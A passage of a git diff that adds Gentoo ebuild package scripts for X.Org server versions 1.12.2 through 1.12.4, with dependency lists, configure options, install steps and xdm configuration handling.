+	if [[ -z ${REPLACED_BY_VERSION} && -e ${ROOT}/usr/$(get_libdir)/xorg/modules ]]; then
+		rm -rf "${ROOT}"/usr/$(get_libdir)/xorg/modules
+	fi
+}
+
+dynamic_libgl_install() {
+	# next section is to setup the dynamic libGL stuff
+	ebegin "Moving GL files for dynamic switching"
+		dodir /usr/$(get_libdir)/opengl/xorg-x11/extensions
+		local x=""
+		for x in "${D}"/usr/$(get_libdir)/xorg/modules/extensions/lib{glx,dri,dri2}*; do
+			if [ -f ${x} -o -L ${x} ]; then
+				mv -f ${x} "${D}"/usr/$(get_libdir)/opengl/xorg-x11/extensions
+			fi
+		done
+	eend 0
+}
+
+server_based_install() {
+	if ! use xorg; then
+		rm "${D}"/usr/share/man/man1/Xserver.1x \
+			"${D}"/usr/$(get_libdir)/xserver/SecurityPolicy \
+			"${D}"/usr/$(get_libdir)/pkgconfig/xorg-server.pc \
+			"${D}"/usr/share/man/man1/Xserver.1x
+	fi
+}
diff --git a/x11-base/xorg-server/xorg-server-1.12.2.ebuild b/x11-base/xorg-server/xorg-server-1.12.2.ebuild
new file mode 100644
index 00000000..0ce6c5df
--- /dev/null
+++ b/x11-base/xorg-server/xorg-server-1.12.2.ebuild
@@ -0,0 +1,264 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/xorg-server-1.12.2.ebuild,v 1.6 2012/06/28 21:06:51 maekke Exp $
+
+EAPI=4
+
+XORG_DOC=doc
+inherit xorg-2 multilib versionator flag-o-matic
+EGIT_REPO_URI="git://anongit.freedesktop.org/git/xorg/xserver"
+
+DESCRIPTION="X.Org X servers"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~sh ~sparc ~x86 ~x86-fbsd"
+
+IUSE_SERVERS="dmx kdrive xnest xorg xvfb"
+IUSE="${IUSE_SERVERS} ipv6 minimal nptl selinux tslib +udev"
+
+RDEPEND=">=app-admin/eselect-opengl-1.0.8
+	dev-libs/openssl
+	media-libs/freetype
+	>=x11-apps/iceauth-1.0.2
+	>=x11-apps/rgb-1.0.3
+	>=x11-apps/xauth-1.0.3
+	x11-apps/xkbcomp
+	>=x11-libs/libpciaccess-0.12.901
+	>=x11-libs/libXau-1.0.4
+	>=x11-libs/libXdmcp-1.0.2
+	>=x11-libs/libXfont-1.4.2
+	>=x11-libs/libxkbfile-1.0.4
+	>=x11-libs/pixman-0.21.8
+	>=x11-libs/xtrans-1.2.2
+	>=x11-misc/xbitmaps-1.0.1
+	>=x11-misc/xkeyboard-config-2.4.1-r3
+	dmx? (
+		x11-libs/libXt
+		>=x11-libs/libdmx-1.0.99.1
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXaw-1.0.4
+		>=x11-libs/libXext-1.0.99.4
+		>=x11-libs/libXfixes-5.0
+		>=x11-libs/libXi-1.2.99.1
+		>=x11-libs/libXmu-1.0.3
+		x11-libs/libXrender
+		>=x11-libs/libXres-1.0.3
+		>=x11-libs/libXtst-1.0.99.2
+	)
+	kdrive? (
+		>=x11-libs/libXext-1.0.5
+		x11-libs/libXv
+	)
+	!minimal? (
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXext-1.0.5
+		>=media-libs/mesa-7.8_rc[nptl=]
+	)
+	tslib? ( >=x11-libs/tslib-1.0 )
+	udev? ( >=sys-fs/udev-150 )
+	>=x11-apps/xinit-1.3
+	selinux? ( sec-policy/selinux-xserver )"
+
+DEPEND="${RDEPEND}
+	sys-devel/flex
+	>=x11-proto/bigreqsproto-1.1.0
+	>=x11-proto/compositeproto-0.4
+	>=x11-proto/damageproto-1.1
+	>=x11-proto/fixesproto-5.0
+	>=x11-proto/fontsproto-2.0.2
+	>=x11-proto/glproto-1.4.14
+	>=x11-proto/inputproto-2.1.99.3
+	>=x11-proto/kbproto-1.0.3
+	>=x11-proto/randrproto-1.2.99.3
+	>=x11-proto/recordproto-1.13.99.1
+	>=x11-proto/renderproto-0.11
+	>=x11-proto/resourceproto-1.0.2
+	>=x11-proto/scrnsaverproto-1.1
+	>=x11-proto/trapproto-3.4.3
+	>=x11-proto/videoproto-2.2.2
+	>=x11-proto/xcmiscproto-1.2.0
+	>=x11-proto/xextproto-7.1.99
+	>=x11-proto/xf86dgaproto-2.0.99.1
+	>=x11-proto/xf86rushproto-1.1.2
+	>=x11-proto/xf86vidmodeproto-2.2.99.1
+	>=x11-proto/xineramaproto-1.1.3
+	>=x11-proto/xproto-7.0.22
+	dmx? (
+		>=x11-proto/dmxproto-2.2.99.1
+		doc? (
+			|| (
+				www-client/links
+				www-client/lynx
+				www-client/w3m
+			)
+		)
+	)
+	!minimal? (
+		>=x11-proto/xf86driproto-2.1.0
+		>=x11-proto/dri2proto-2.6
+		>=x11-libs/libdrm-2.4.20
+	)"
+
+PDEPEND="
+	xorg? ( >=x11-base/xorg-drivers-$(get_version_component_range 1-2) )"
+
+REQUIRED_USE="!minimal? (
+		|| ( ${IUSE_SERVERS} )
+	)"
+
+#UPSTREAMED_PATCHES=(
+#	"${WORKDIR}/patches/"
+#)
+
+PATCHES=(
+	"${UPSTREAMED_PATCHES[@]}"
+	"${FILESDIR}"/${PN}-1.12-disable-acpi.patch
+	"${FILESDIR}"/${PN}-1.12-xf86edidmodes-array-bounds.patch
+)
+
+pkg_pretend() {
+	# older gcc is not supported
+	[[ "${MERGE_TYPE}" != "binary" && $(gcc-major-version) -lt 4 ]] && \
+		die "Sorry, but gcc earlier than 4.0 wont work for xorg-server."
+}
+
+pkg_setup() {
+	xorg-2_pkg_setup
+
+	# localstatedir is used for the log location; we need to override the default
+	#	from ebuild.sh
+	# sysconfdir is used for the xorg.conf location; same applies
+	#	--enable-install-setuid needed because sparcs default off
+	# NOTE: fop is used for doc generating ; and i have no idea if gentoo
+	#	package it somewhere
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable ipv6)
+		$(use_enable dmx)
+		$(use_enable kdrive)
+		$(use_enable kdrive kdrive-kbd)
+		$(use_enable kdrive kdrive-mouse)
+		$(use_enable kdrive kdrive-evdev)
+		$(use_enable tslib)
+		$(use_enable !minimal record)
+		$(use_enable !minimal xfree86-utils)
+		$(use_enable !minimal install-libxf86config)
+		$(use_enable !minimal dri)
+		$(use_enable !minimal dri2)
+		$(use_enable !minimal glx)
+		$(use_enable xnest)
+		$(use_enable xorg)
+		$(use_enable xvfb)
+		$(use_enable nptl glx-tls)
+		$(use_enable udev config-udev)
+		$(use_with doc doxygen)
+		$(use_with doc xmlto)
+		--sysconfdir=/etc/X11
+		--localstatedir=/var
+		--enable-install-setuid
+		--with-fontrootdir=/usr/share/fonts
+		--with-xkb-output=/var/lib/xkb
+		--disable-config-hal
+		--without-dtrace
+		--without-fop
+		--with-os-vendor=Gentoo
+	)
+
+	# Xorg-server requires includes from OS mesa which are not visible for
+	# users of binary drivers.
+	mkdir -p "${T}/mesa-symlinks/GL"
+	for i in gl glx glxmd glxproto glxtokens; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/xorg-x11/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	for i in glext glxext; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/global/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	append-cppflags "-I${T}/mesa-symlinks"
+}
+
+src_install() {
+	xorg-2_src_install
+
+	dynamic_libgl_install
+
+	server_based_install
+
+	if ! use minimal &&	use xorg; then
+		# Install xorg.conf.example into docs
+		dodoc "${AUTOTOOLS_BUILD_DIR}"/hw/xfree86/xorg.conf.example
+	fi
+
+	newinitd "${FILESDIR}"/xdm-setup.initd-1 xdm-setup
+	newinitd "${FILESDIR}"/xdm.initd-7 xdm
+	newconfd "${FILESDIR}"/xdm.confd-4 xdm.example
+
+	# install the @x11-module-rebuild set for Portage
+	insinto /usr/share/portage/config/sets
+	newins "${FILESDIR}"/xorg-sets.conf xorg.conf
+}
+
+CONFD_XDM="${ROOT}/etc/conf.d/xdm"
+pkg_preinst() {
+	# backup user /etc/conf.d/xdm
+	if [ -f "${CONFD_XDM}" ]; then
+		cp -p "${CONFD_XDM}" "${CONFD_XDM}.backup"
+	fi
+}
+
+pkg_postinst() {
+	# Copy config file over
+	if [ -f "${CONFD_XDM}.backup" ]; then
+		cp ${CONFD_XDM}.backup ${CONFD_XDM} -p
+	else
+		if [ -f "${CONFD_XDM}.example" ] && [ ! -f "${CONFD_XDM}" ]; then
+			cp ${CONFD_XDM}.example ${CONFD_XDM} -p
+		fi
+	fi
+
+	# sets up libGL and DRI2 symlinks if needed (ie, on a fresh install)
+	eselect opengl set xorg-x11 --use-old
+
+	if [[ ${PV} != 9999 && $(get_version_component_range 2 ${REPLACING_VERSIONS}) != $(get_version_component_range 2 ${PV}) ]]; then
+		ewarn "You must rebuild all drivers if upgrading from <xorg-server-$(get_version_component_range 1-2)"
+		ewarn "because the ABI changed. If you cannot start X because"
+		ewarn "of module version mismatch errors, this is your problem."
+
+		echo
+		ewarn "You can generate a list of all installed packages in the x11-drivers"
+		ewarn "category using this command:"
+		ewarn "	emerge portage-utils; qlist -I -C x11-drivers/"
+		ewarn "or using sets from portage-2.2:"
+		ewarn "	emerge @x11-module-rebuild"
+	fi
+
+	echo
+	ewarn "/etc/conf.d/xdm is no longer provided, /etc/conf.d/xdm.example is"
+	ewarn "Your current /etc/conf.d/xdm has been used as new default"
+	echo
+}
+
+pkg_postrm() {
+	# Get rid of module dir to ensure opengl-update works properly
+	if [[ -z ${REPLACED_BY_VERSION} && -e ${ROOT}/usr/$(get_libdir)/xorg/modules ]]; then
+		rm -rf "${ROOT}"/usr/$(get_libdir)/xorg/modules
+	fi
+}
+
+dynamic_libgl_install() {
+	# next section is to setup the dynamic libGL stuff
+	ebegin "Moving GL files for dynamic switching"
+		dodir /usr/$(get_libdir)/opengl/xorg-x11/extensions
+		local x=""
+		for x in "${D}"/usr/$(get_libdir)/xorg/modules/extensions/lib{glx,dri,dri2}*; do
+			if [ -f ${x} -o -L ${x} ]; then
+				mv -f ${x} "${D}"/usr/$(get_libdir)/opengl/xorg-x11/extensions
+			fi
+		done
+	eend 0
+}
+
+server_based_install() {
+	if ! use xorg; then
+		rm "${D}"/usr/share/man/man1/Xserver.1x \
+			"${D}"/usr/$(get_libdir)/xserver/SecurityPolicy \
+			"${D}"/usr/$(get_libdir)/pkgconfig/xorg-server.pc \
+			"${D}"/usr/share/man/man1/Xserver.1x
+	fi
+}
diff --git a/x11-base/xorg-server/xorg-server-1.12.3.ebuild b/x11-base/xorg-server/xorg-server-1.12.3.ebuild
new file mode 100644
index 00000000..2b8278f0
--- /dev/null
+++ b/x11-base/xorg-server/xorg-server-1.12.3.ebuild
@@ -0,0 +1,263 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/xorg-server-1.12.3.ebuild,v 1.1 2012/07/12 13:50:29 chithanh Exp $
+
+EAPI=4
+
+XORG_DOC=doc
+inherit xorg-2 multilib versionator flag-o-matic
+EGIT_REPO_URI="git://anongit.freedesktop.org/git/xorg/xserver"
+
+DESCRIPTION="X.Org X servers"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~sh ~sparc ~x86 ~amd64-fbsd ~x86-fbsd"
+
+IUSE_SERVERS="dmx kdrive xnest xorg xvfb"
+IUSE="${IUSE_SERVERS} ipv6 minimal nptl selinux tslib +udev"
+
+RDEPEND=">=app-admin/eselect-opengl-1.0.8
+	dev-libs/openssl
+	media-libs/freetype
+	>=x11-apps/iceauth-1.0.2
+	>=x11-apps/rgb-1.0.3
+	>=x11-apps/xauth-1.0.3
+	x11-apps/xkbcomp
+	>=x11-libs/libpciaccess-0.12.901
+	>=x11-libs/libXau-1.0.4
+	>=x11-libs/libXdmcp-1.0.2
+	>=x11-libs/libXfont-1.4.2
+	>=x11-libs/libxkbfile-1.0.4
+	>=x11-libs/pixman-0.21.8
+	>=x11-libs/xtrans-1.2.2
+	>=x11-misc/xbitmaps-1.0.1
+	>=x11-misc/xkeyboard-config-2.4.1-r3
+	dmx? (
+		x11-libs/libXt
+		>=x11-libs/libdmx-1.0.99.1
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXaw-1.0.4
+		>=x11-libs/libXext-1.0.99.4
+		>=x11-libs/libXfixes-5.0
+		>=x11-libs/libXi-1.2.99.1
+		>=x11-libs/libXmu-1.0.3
+		x11-libs/libXrender
+		>=x11-libs/libXres-1.0.3
+		>=x11-libs/libXtst-1.0.99.2
+	)
+	kdrive? (
+		>=x11-libs/libXext-1.0.5
+		x11-libs/libXv
+	)
+	!minimal? (
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXext-1.0.5
+		>=media-libs/mesa-7.8_rc[nptl=]
+	)
+	tslib? ( >=x11-libs/tslib-1.0 )
+	udev? ( >=sys-fs/udev-150 )
+	>=x11-apps/xinit-1.3
+	selinux? ( sec-policy/selinux-xserver )"
+
+DEPEND="${RDEPEND}
+	sys-devel/flex
+	>=x11-proto/bigreqsproto-1.1.0
+	>=x11-proto/compositeproto-0.4
+	>=x11-proto/damageproto-1.1
+	>=x11-proto/fixesproto-5.0
+	>=x11-proto/fontsproto-2.0.2
+	>=x11-proto/glproto-1.4.14
+	>=x11-proto/inputproto-2.1.99.3
+	>=x11-proto/kbproto-1.0.3
+	>=x11-proto/randrproto-1.2.99.3
+	>=x11-proto/recordproto-1.13.99.1
+	>=x11-proto/renderproto-0.11
+	>=x11-proto/resourceproto-1.0.2
+	>=x11-proto/scrnsaverproto-1.1
+	>=x11-proto/trapproto-3.4.3
+	>=x11-proto/videoproto-2.2.2
+	>=x11-proto/xcmiscproto-1.2.0
+	>=x11-proto/xextproto-7.1.99
+	>=x11-proto/xf86dgaproto-2.0.99.1
+	>=x11-proto/xf86rushproto-1.1.2
+	>=x11-proto/xf86vidmodeproto-2.2.99.1
+	>=x11-proto/xineramaproto-1.1.3
+	>=x11-proto/xproto-7.0.22
+	dmx? (
+		>=x11-proto/dmxproto-2.2.99.1
+		doc? (
+			|| (
+				www-client/links
+				www-client/lynx
+				www-client/w3m
+			)
+		)
+	)
+	!minimal? (
+		>=x11-proto/xf86driproto-2.1.0
+		>=x11-proto/dri2proto-2.6
+		>=x11-libs/libdrm-2.4.20
+	)"
+
+PDEPEND="
+	xorg? ( >=x11-base/xorg-drivers-$(get_version_component_range 1-2) )"
+
+REQUIRED_USE="!minimal? (
+		|| ( ${IUSE_SERVERS} )
+	)"
+
+#UPSTREAMED_PATCHES=(
+#	"${WORKDIR}/patches/"
+#)
+
+PATCHES=(
+	"${UPSTREAMED_PATCHES[@]}"
+	"${FILESDIR}"/${PN}-1.12-disable-acpi.patch
+)
+
+pkg_pretend() {
+	# older gcc is not supported
+	[[ "${MERGE_TYPE}" != "binary" && $(gcc-major-version) -lt 4 ]] && \
+		die "Sorry, but gcc earlier than 4.0 wont work for xorg-server."
+}
+
+src_configure() {
+	# localstatedir is used for the log location; we need to override the default
+	#	from ebuild.sh
+	# sysconfdir is used for the xorg.conf location; same applies
+	#	--enable-install-setuid needed because sparcs default off
+	# NOTE: fop is used for doc generating ; and i have no idea if gentoo
+	#	package it somewhere
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable ipv6)
+		$(use_enable dmx)
+		$(use_enable kdrive)
+		$(use_enable kdrive kdrive-kbd)
+		$(use_enable kdrive kdrive-mouse)
+		$(use_enable kdrive kdrive-evdev)
+		$(use_enable tslib)
+		$(use_enable !minimal record)
+		$(use_enable !minimal xfree86-utils)
+		$(use_enable !minimal install-libxf86config)
+		$(use_enable !minimal dri)
+		$(use_enable !minimal dri2)
+		$(use_enable !minimal glx)
+		$(use_enable xnest)
+		$(use_enable xorg)
+		$(use_enable xvfb)
+		$(use_enable nptl glx-tls)
+		$(use_enable udev config-udev)
+		$(use_with doc doxygen)
+		$(use_with doc xmlto)
+		--sysconfdir=/etc/X11
+		--localstatedir=/var
+		--enable-install-setuid
+		--with-fontrootdir=/usr/share/fonts
+		--with-xkb-output=/var/lib/xkb
+		--disable-config-hal
+		--without-dtrace
+		--without-fop
+		--with-os-vendor=Gentoo
+	)
+
+	# Xorg-server requires includes from OS mesa which are not visible for
+	# users of binary drivers.
+	mkdir -p "${T}/mesa-symlinks/GL"
+	for i in gl glx glxmd glxproto glxtokens; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/xorg-x11/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	for i in glext glxext; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/global/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	append-cppflags "-I${T}/mesa-symlinks"
+
+	xorg-2_src_configure
+}
+
+src_install() {
+	xorg-2_src_install
+
+	dynamic_libgl_install
+
+	server_based_install
+
+	if ! use minimal &&	use xorg; then
+		# Install xorg.conf.example into docs
+		dodoc "${AUTOTOOLS_BUILD_DIR}"/hw/xfree86/xorg.conf.example
+	fi
+
+	newinitd "${FILESDIR}"/xdm-setup.initd-1 xdm-setup
+	newinitd "${FILESDIR}"/xdm.initd-8 xdm
+	newconfd "${FILESDIR}"/xdm.confd-4 xdm.example
+
+	# install the @x11-module-rebuild set for Portage
+	insinto /usr/share/portage/config/sets
+	newins "${FILESDIR}"/xorg-sets.conf xorg.conf
+}
+
+CONFD_XDM="${ROOT}/etc/conf.d/xdm"
+pkg_preinst() {
+	# backup user /etc/conf.d/xdm
+	if [ -f "${CONFD_XDM}" ]; then
+		cp -p "${CONFD_XDM}" "${CONFD_XDM}.backup"
+	fi
+}
+
+pkg_postinst() {
+	# Copy config file over
+	if [ -f "${CONFD_XDM}.backup" ]; then
+		cp ${CONFD_XDM}.backup ${CONFD_XDM} -p
+	else
+		if [ -f "${CONFD_XDM}.example" ] && [ ! -f "${CONFD_XDM}" ]; then
+			cp ${CONFD_XDM}.example ${CONFD_XDM} -p
+		fi
+	fi
+
+	# sets up libGL and DRI2 symlinks if needed (ie, on a fresh install)
+	eselect opengl set xorg-x11 --use-old
+
+	if [[ ${PV} != 9999 && $(get_version_component_range 2 ${REPLACING_VERSIONS}) != $(get_version_component_range 2 ${PV}) ]]; then
+		ewarn "You must rebuild all drivers if upgrading from <xorg-server-$(get_version_component_range 1-2)"
+		ewarn "because the ABI changed. If you cannot start X because"
+		ewarn "of module version mismatch errors, this is your problem."
+
+		echo
+		ewarn "You can generate a list of all installed packages in the x11-drivers"
+		ewarn "category using this command:"
+		ewarn "	emerge portage-utils; qlist -I -C x11-drivers/"
+		ewarn "or using sets from portage-2.2:"
+		ewarn "	emerge @x11-module-rebuild"
+	fi
+
+	echo
+	ewarn "/etc/conf.d/xdm is no longer provided, /etc/conf.d/xdm.example is"
+	ewarn "Your current /etc/conf.d/xdm has been used as new default"
+	echo
+}
+
+pkg_postrm() {
+	# Get rid of module dir to ensure opengl-update works properly
+	if [[ -z ${REPLACED_BY_VERSION} && -e ${ROOT}/usr/$(get_libdir)/xorg/modules ]]; then
+		rm -rf "${ROOT}"/usr/$(get_libdir)/xorg/modules
+	fi
+}
+
+dynamic_libgl_install() {
+	# next section is to setup the dynamic libGL stuff
+	ebegin "Moving GL files for dynamic switching"
+		dodir /usr/$(get_libdir)/opengl/xorg-x11/extensions
+		local x=""
+		for x in "${D}"/usr/$(get_libdir)/xorg/modules/extensions/lib{glx,dri,dri2}*; do
+			if [ -f ${x} -o -L ${x} ]; then
+				mv -f ${x} "${D}"/usr/$(get_libdir)/opengl/xorg-x11/extensions
+			fi
+		done
+	eend 0
+}
+
+server_based_install() {
+	if ! use xorg; then
+		rm "${D}"/usr/share/man/man1/Xserver.1x \
+			"${D}"/usr/$(get_libdir)/xserver/SecurityPolicy \
+			"${D}"/usr/$(get_libdir)/pkgconfig/xorg-server.pc \
+			"${D}"/usr/share/man/man1/Xserver.1x
+	fi
+}
diff --git a/x11-base/xorg-server/xorg-server-1.12.4.ebuild b/x11-base/xorg-server/xorg-server-1.12.4.ebuild
new file mode 100644
index 00000000..2b8278f0
--- /dev/null
+++ b/x11-base/xorg-server/xorg-server-1.12.4.ebuild
@@ -0,0 +1,263 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/xorg-server-1.12.3.ebuild,v 1.1 2012/07/12 13:50:29 chithanh Exp $
+
+EAPI=4
+
+XORG_DOC=doc
+inherit xorg-2 multilib versionator flag-o-matic
+EGIT_REPO_URI="git://anongit.freedesktop.org/git/xorg/xserver"
+
+DESCRIPTION="X.Org X servers"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~sh ~sparc ~x86 ~amd64-fbsd ~x86-fbsd"
+
+IUSE_SERVERS="dmx kdrive xnest xorg xvfb"
+IUSE="${IUSE_SERVERS} ipv6 minimal nptl selinux tslib +udev"
+
+RDEPEND=">=app-admin/eselect-opengl-1.0.8
+	dev-libs/openssl
+	media-libs/freetype
+	>=x11-apps/iceauth-1.0.2
+	>=x11-apps/rgb-1.0.3
+	>=x11-apps/xauth-1.0.3
+	x11-apps/xkbcomp
+	>=x11-libs/libpciaccess-0.12.901
+	>=x11-libs/libXau-1.0.4
+	>=x11-libs/libXdmcp-1.0.2
+	>=x11-libs/libXfont-1.4.2
+	>=x11-libs/libxkbfile-1.0.4
+	>=x11-libs/pixman-0.21.8
+	>=x11-libs/xtrans-1.2.2
+	>=x11-misc/xbitmaps-1.0.1
+	>=x11-misc/xkeyboard-config-2.4.1-r3
+	dmx? (
+		x11-libs/libXt
+		>=x11-libs/libdmx-1.0.99.1
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXaw-1.0.4
+		>=x11-libs/libXext-1.0.99.4
+		>=x11-libs/libXfixes-5.0
+		>=x11-libs/libXi-1.2.99.1
+		>=x11-libs/libXmu-1.0.3
+		x11-libs/libXrender
+		>=x11-libs/libXres-1.0.3
+		>=x11-libs/libXtst-1.0.99.2
+	)
+	kdrive? (
+		>=x11-libs/libXext-1.0.5
+		x11-libs/libXv
+	)
+	!minimal? (
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXext-1.0.5
+		>=media-libs/mesa-7.8_rc[nptl=]
+	)
+	tslib? ( >=x11-libs/tslib-1.0 )
+	udev? ( >=sys-fs/udev-150 )
+	>=x11-apps/xinit-1.3
+	selinux? ( sec-policy/selinux-xserver )"
+
+DEPEND="${RDEPEND}
+	sys-devel/flex
+	>=x11-proto/bigreqsproto-1.1.0
+	>=x11-proto/compositeproto-0.4
+	>=x11-proto/damageproto-1.1
+	>=x11-proto/fixesproto-5.0
+	>=x11-proto/fontsproto-2.0.2
+	>=x11-proto/glproto-1.4.14
+	>=x11-proto/inputproto-2.1.99.3
+	>=x11-proto/kbproto-1.0.3
+	>=x11-proto/randrproto-1.2.99.3
+	>=x11-proto/recordproto-1.13.99.1
+	>=x11-proto/renderproto-0.11
+	>=x11-proto/resourceproto-1.0.2
+	>=x11-proto/scrnsaverproto-1.1
+	>=x11-proto/trapproto-3.4.3
+	>=x11-proto/videoproto-2.2.2
+	>=x11-proto/xcmiscproto-1.2.0
+	>=x11-proto/xextproto-7.1.99
+	>=x11-proto/xf86dgaproto-2.0.99.1
+	>=x11-proto/xf86rushproto-1.1.2
+	>=x11-proto/xf86vidmodeproto-2.2.99.1
+	>=x11-proto/xineramaproto-1.1.3
+	>=x11-proto/xproto-7.0.22
+	dmx? (
+		>=x11-proto/dmxproto-2.2.99.1
+		doc? (
+			|| (
+				www-client/links
+				www-client/lynx
+				www-client/w3m
+			)
+		)
+	)
+	!minimal? (
+		>=x11-proto/xf86driproto-2.1.0
+		>=x11-proto/dri2proto-2.6
+		>=x11-libs/libdrm-2.4.20
+	)"
+
+PDEPEND="
+	xorg? ( >=x11-base/xorg-drivers-$(get_version_component_range 1-2) )"
+
+REQUIRED_USE="!minimal? (
+		|| ( ${IUSE_SERVERS} )
+	)"
+
+#UPSTREAMED_PATCHES=(
+#	"${WORKDIR}/patches/"
+#)
+
+PATCHES=(
+	"${UPSTREAMED_PATCHES[@]}"
+	"${FILESDIR}"/${PN}-1.12-disable-acpi.patch
+)
+
+pkg_pretend() {
+	# older gcc is not supported
+	[[ "${MERGE_TYPE}" != "binary" && $(gcc-major-version) -lt 4 ]] && \
+		die "Sorry, but gcc earlier than 4.0 wont work for xorg-server."
+}
+
+src_configure() {
+	# localstatedir is used for the log location; we need to override the default
+	#	from ebuild.sh
+	# sysconfdir is used for the xorg.conf location; same applies
+	#	--enable-install-setuid needed because sparcs default off
+	# NOTE: fop is used for doc generating ; and i have no idea if gentoo
+	#	package it somewhere
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable ipv6)
+		$(use_enable dmx)
+		$(use_enable kdrive)
+		$(use_enable kdrive kdrive-kbd)
+		$(use_enable kdrive kdrive-mouse)
+		$(use_enable kdrive kdrive-evdev)
+		$(use_enable tslib)
+		$(use_enable !minimal record)
+		$(use_enable !minimal xfree86-utils)
+		$(use_enable !minimal install-libxf86config)
+		$(use_enable !minimal dri)
+		$(use_enable !minimal dri2)
+		$(use_enable !minimal glx)
+		$(use_enable xnest)
+		$(use_enable xorg)
+		$(use_enable xvfb)
+		$(use_enable nptl glx-tls)
+		$(use_enable udev config-udev)
+		$(use_with doc doxygen)
+		$(use_with doc xmlto)
+		--sysconfdir=/etc/X11
+		--localstatedir=/var
+		--enable-install-setuid
+		--with-fontrootdir=/usr/share/fonts
+		--with-xkb-output=/var/lib/xkb
+		--disable-config-hal
+		--without-dtrace
+		--without-fop
+		--with-os-vendor=Gentoo
+	)
+
+	# Xorg-server requires includes from OS mesa which are not visible for
+	# users of binary drivers.
+	mkdir -p "${T}/mesa-symlinks/GL"
+	for i in gl glx glxmd glxproto glxtokens; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/xorg-x11/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	for i in glext glxext; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/global/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	append-cppflags "-I${T}/mesa-symlinks"
+
+	xorg-2_src_configure
+}
+
+src_install() {
+	xorg-2_src_install
+
+	dynamic_libgl_install
+
+	server_based_install
+
+	if ! use minimal &&	use xorg; then
+		# Install xorg.conf.example into docs
+		dodoc "${AUTOTOOLS_BUILD_DIR}"/hw/xfree86/xorg.conf.example
+	fi
+
+	newinitd "${FILESDIR}"/xdm-setup.initd-1 xdm-setup
+	newinitd "${FILESDIR}"/xdm.initd-8 xdm
+	newconfd "${FILESDIR}"/xdm.confd-4 xdm.example
+
+	# install the @x11-module-rebuild set for Portage
+	insinto /usr/share/portage/config/sets
+	newins "${FILESDIR}"/xorg-sets.conf xorg.conf
+}
+
+CONFD_XDM="${ROOT}/etc/conf.d/xdm"
+pkg_preinst() {
+	# backup user /etc/conf.d/xdm
+	if [ -f "${CONFD_XDM}" ]; then
+		cp -p "${CONFD_XDM}" "${CONFD_XDM}.backup"
+	fi
+}
+
+pkg_postinst() {
+	# Copy config file over
+	if [ -f "${CONFD_XDM}.backup" ]; then
+		cp ${CONFD_XDM}.backup ${CONFD_XDM} -p
+	else
+		if [ -f "${CONFD_XDM}.example" ] && [ ! -f "${CONFD_XDM}" ]; then
+			cp ${CONFD_XDM}.example ${CONFD_XDM} -p
+		fi
+	fi
+
+	# sets up libGL and DRI2 symlinks if needed (ie, on a fresh install)
+	eselect opengl set xorg-x11 --use-old
+
+	if [[ ${PV} != 9999 && $(get_version_component_range 2 ${REPLACING_VERSIONS}) != $(get_version_component_range 2 ${PV}) ]]; then
+		ewarn "You must rebuild all drivers if upgrading from <xorg-server-$(get_version_component_range 1-2)"
+		ewarn "because the ABI changed. If you cannot start X because"
+		ewarn "of module version mismatch errors, this is your problem."
+
+		echo
+		ewarn "You can generate a list of all installed packages in the x11-drivers"
+		ewarn "category using this command:"
+		ewarn "	emerge portage-utils; qlist -I -C x11-drivers/"
+		ewarn "or using sets from portage-2.2:"
+		ewarn "	emerge @x11-module-rebuild"
+	fi
+
+	echo
+	ewarn "/etc/conf.d/xdm is no longer provided, /etc/conf.d/xdm.example is"
+	ewarn "Your current /etc/conf.d/xdm has been used as new default"
+	echo
+}
+
+pkg_postrm() {
+	# Get rid of module dir to ensure opengl-update works properly
+	if [[ -z ${REPLACED_BY_VERSION} && -e ${ROOT}/usr/$(get_libdir)/xorg/modules ]]; then
+		rm -rf "${ROOT}"/usr/$(get_libdir)/xorg/modules
+	fi
+}
+
+dynamic_libgl_install() {
+	# next section is to setup the dynamic libGL stuff
+	ebegin "Moving GL files for dynamic switching"
+		dodir /usr/$(get_libdir)/opengl/xorg-x11/extensions
+		local x=""
+		for x in "${D}"/usr/$(get_libdir)/xorg/modules/extensions/lib{glx,dri,dri2}*; do
+			if [ -f ${x} -o -L ${x} ]; then
+				mv -f ${x} "${D}"/usr/$(get_libdir)/opengl/xorg-x11/extensions
+			fi
+		done
+	eend 0
+}
+
+server_based_install() {
+	if ! use xorg; then
+		rm "${D}"/usr/share/man/man1/Xserver.1x \
+			"${D}"/usr/$(get_libdir)/xserver/SecurityPolicy \
+			"${D}"/usr/$(get_libdir)/pkgconfig/xorg-server.pc \
+			"${D}"/usr/share/man/man1/Xserver.1x
+	fi
+}
diff --git a/x11-drivers/ati-drivers/Manifest b/x11-drivers/ati-drivers/Manifest
new file mode 100644
index 00000000..00e28fcf
